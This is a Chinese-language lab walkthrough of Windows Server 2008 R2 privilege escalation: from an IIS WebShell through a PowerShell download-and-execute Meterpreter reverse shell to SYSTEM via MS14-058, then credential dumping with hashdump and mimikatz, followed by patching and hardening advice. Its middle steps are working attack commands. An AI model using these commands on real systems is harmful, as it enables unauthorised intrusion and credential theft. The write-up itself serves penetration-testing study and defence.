Windows Server 2008 R2 IIS 低权限 WebShell 提权实战

免责声明:

本文所有操作仅用于授权范围内的网络安全渗透测试学习,仅在个人自建隔离靶场环境完成复现;禁止未经授权对任何公网、企业服务器实施扫描、上传 WebShell、漏洞利用等攻击行为,违规操作将承担相应法律责任。所有内容仅供安全从业人员学习防御思路,请勿用于非法用途。

一、前言

根据行业渗透测试数据统计,超过 60% 企业内网服务器基于 Windows 平台部署,搭配 SQLServer 数据库运行业务网站。权限提升(本地提权)是 Web 入侵后横向移动、服务器完全控制的核心关键技能。

本次完整复现一条经典攻击链: IIS 低权限 WebShell(defaultapppool 受限用户)→ PowerShell 无落地内存马生成 Meterpreter 会话 → MS14-058(CVE-2014-4113)TrackPopupMenu 内核漏洞本地提权至 NT AUTHORITY\SYSTEM,全程包含环境搭建、Payload 免杀思路、漏洞筛选、权限凭证抓取,文末配套完整修复防御方案。

漏洞基础简介

MS14-058(CVE-2014-4113)是 Win32k.sys 内核空指针解引用漏洞,未打补丁的 Windows Server 2008 R2、Win7 x64 环境下,普通本地用户可通过漏洞执行内核代码,直接获取系统最高 SYSTEM 权限,是内网靶场高频提权漏洞。

二、实验环境隔离配置

本次使用本地虚拟机隔离靶场,无任何公网目标:

  1. 攻击机:Kali Linux 2024.4 IP:192.168.147.128
  2. 目标服务器:Windows Server 2008 R2 x64 未更新 MS14-058 补丁 IP:192.168.147.131
  3. 中间载体:IIS 网站 + cmd.aspx WebShell

三、完整实操流程(分步带代码块,平台判定高质量实操文)

步骤 1:上传 WebShell,确认低权限访问

将 cmd.aspx 格式 WebShell 上传至目标站点根目录,访问地址:http://192.168.147.131/cmd.aspx执行内置命令whoami,查看当前运行身份:

defaultapppool 为 IIS 应用池默认低权限用户,系统操作、文件读取、进程创建均存在严格权限限制,无法读取服务器密码、修改系统配置,必须进行提权操作。

步骤 2:MSF 生成 PowerShell 内存型反向 Payload(免落地、降低查杀)

使用msfvenom生成 ps1 格式无文件落地载荷,Payload 仅在目标内存运行,不会写入本地磁盘,规避静态杀毒扫描。

生成命令(Kali 终端执行)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.147.128 LPORT=4444 -f psh -o /var/www/html/cutedolphin.ps1

输出说明:

  • 载荷大小 510 字节,ps1 脚本总大小 3219 字节;
  • 依赖 Apache 服务提供 HTTP 下载,目标通过 PowerShell 远程拉取执行,无本地文件残留。

步骤 3:启动 Kali Apache 文件服务

service apache2 start

启动后可通过http://192.168.147.128/cutedolphin.ps1访问生成的载荷脚本。

步骤 4:启动 Metasploit 反向监听

打开 msfconsole,配置 handler 监听 4444 端口,等待目标主动回连:

msf6 > use exploit/multi/handler msf6 exploit(handler) > set payload windows/x64/meterpreter/reverse_tcp msf6 exploit(handler) > set LHOST 192.168.147.128 msf6 exploit(handler) > set LPORT 4444 msf6 exploit(handler) > show options msf6 exploit(handler) > run

步骤 5:WebShell 内执行 PowerShell 下载并加载内存马

在 cmd.aspx 的命令执行框输入如下指令,远程拉取 ps1 并直接内存执行:

powershell.exe -noexit -c "IEX(New-Object Net.WebClient).DownloadString( http://192.168.147.128/cutedolphin.ps1')"

执行成功后,MSF 监听器会捕获 Meterpreter 会话:

步骤 6:基础提权尝试失败,筛选可用本地提权漏洞

基础自带提权命令测试(失效)

getsystem

defaultapppool 权限过低,系统自带提权方法无法生效,需搜索适配 Windows2008R2 本地内核漏洞,后台挂起会话,搜索本地提权 EXP。

回到 Kali 系统终端,使用 searchsploit 筛选对应系统提权漏洞:

searchsploit windows 2008 r2 local privilege escalation # 精准筛选系统相关漏洞文件 grep "2008R2" /usr/share/exploitdb/exploits/windows/local/*

过滤排除第三方软件依赖类漏洞(如 Zortam Mp3 媒体软件本地提权,服务器无预装不适用),锁定 Metasploit 内置模块:ms14_058_track_popup_menu

步骤 7:MSF 加载 MS14-058 漏洞模块配置利用

# 检索漏洞模块 msf6 > search TrackPopupMenu # 加载MS14-058提权模块 msf6 > use exploit/windows/local/ms14_058_track_popup_menu # 核心参数配置 msf6 exploit(ms14_058) > set payload windows/x64/meterpreter/reverse_tcp msf6 exploit(ms14_058) > set LHOST 192.168.147.128 msf6 exploit(ms14_058) > set LPORT 4444 msf6 exploit(ms14_058) > set session 1 msf6 exploit(ms14_058) > set target Windows x64 # 查看全部配置项 msf6 exploit(ms14_058) > show options

步骤 8:执行漏洞利用,获取 SYSTEM 高权限会话

msf6 exploit(ms14_058) > run

漏洞执行回显日志:

[*] Started reverse TCP handler on 192.168.147.128:4444 [*] Reflectively injecting the exploit DLL and triggering the exploit ... [*] Launching netsh to host the DLL .. [+] Process 3012 launched. [*] Reflectively injecting the DLL into 3012... [+] Exploit finished, wait for (hopefully privileged) payload execution to complete. [*] Sending stage (203846 bytes) to 192.168.147.131 [*] Meterpreter session 3 opened (192.168.147.128:4444→192.168.147.131:49170)

步骤 9:SYSTEM 权限下凭证抓取与信息收集

验证当前最高系统权限

getuid # 输出:Server username: NT AUTHORITY\SYSTEM

导出系统全部用户 NTLM 哈希

hashdump

加载 kiwi(原 mimikatz)抓取内存明文凭证

help kiwi creds_all

可完整获取服务器本地账户、域账户、Kerberos、WDigest 内存登录凭证,用于内网横向渗透。

四、漏洞防御与服务器加固方案

1. MS14-058 漏洞补丁修复

安装微软官方安全补丁:MS14-058 安全更新包,对应 KB 编号 KB3000061,Windows Server 2008 R2 x64 系统强制安装,定期自动更新系统补丁。

2. IIS 网站权限加固(阻断低权限 WebShell 入口)

  1. 限制 IIS 应用程序池运行权限,禁止使用默认低权限池,配置独立低权限隔离账户;
  2. 网站目录设置严格读写权限,禁止上传 aspx、asp、ps1 等可执行脚本;
  3. 开启 IIS 请求过滤,拦截 PowerShell 远程下载、命令执行特征字符;
  4. 关闭网站目录脚本执行权限,仅开放静态文件访问。

3. 终端防护策略

  1. 终端杀毒 / EDR 开启内存行为检测,拦截无文件 PowerShell 内存马执行;
  2. 限制普通用户调用 PowerShell 远程下载脚本,启用 PowerShell 执行策略限制;
  3. 最小权限原则:业务服务禁止以本地普通用户、低权限池身份长期运行。

4. 运维检测手段

  1. 定期执行wmic qfe get HotFixID,InstalledOn扫描服务器缺失高危内核补丁;
  2. 监控异常 PowerShell 外联 HTTP 下载行为、异常 netsh 进程创建;
  3. 内网定期扫描 Windows Server 2008 R2 未打 MS 高危提权补丁资产。

五、总结

  1. 完整攻击链逻辑:Web 漏洞获取低权限 Shell → 无文件 PowerShell 内存马建立稳定会话 → 内核本地提权漏洞提升至 SYSTEM;
  2. MS14-058 仅适用于未打 KB3000061 补丁的 Win7/2008R2 x64 环境,高版本 Windows 已修复该漏洞;
  3. 无文件落地 Payload 仅规避静态查杀,行为类 EDR 仍可捕获异常内存执行行为,生产环境防护不能依赖磁盘查杀;
  4. 内网安全核心思路:补丁全量更新 + Web 目录权限隔离 + 终端行为监控,从源头阻断提权攻击链。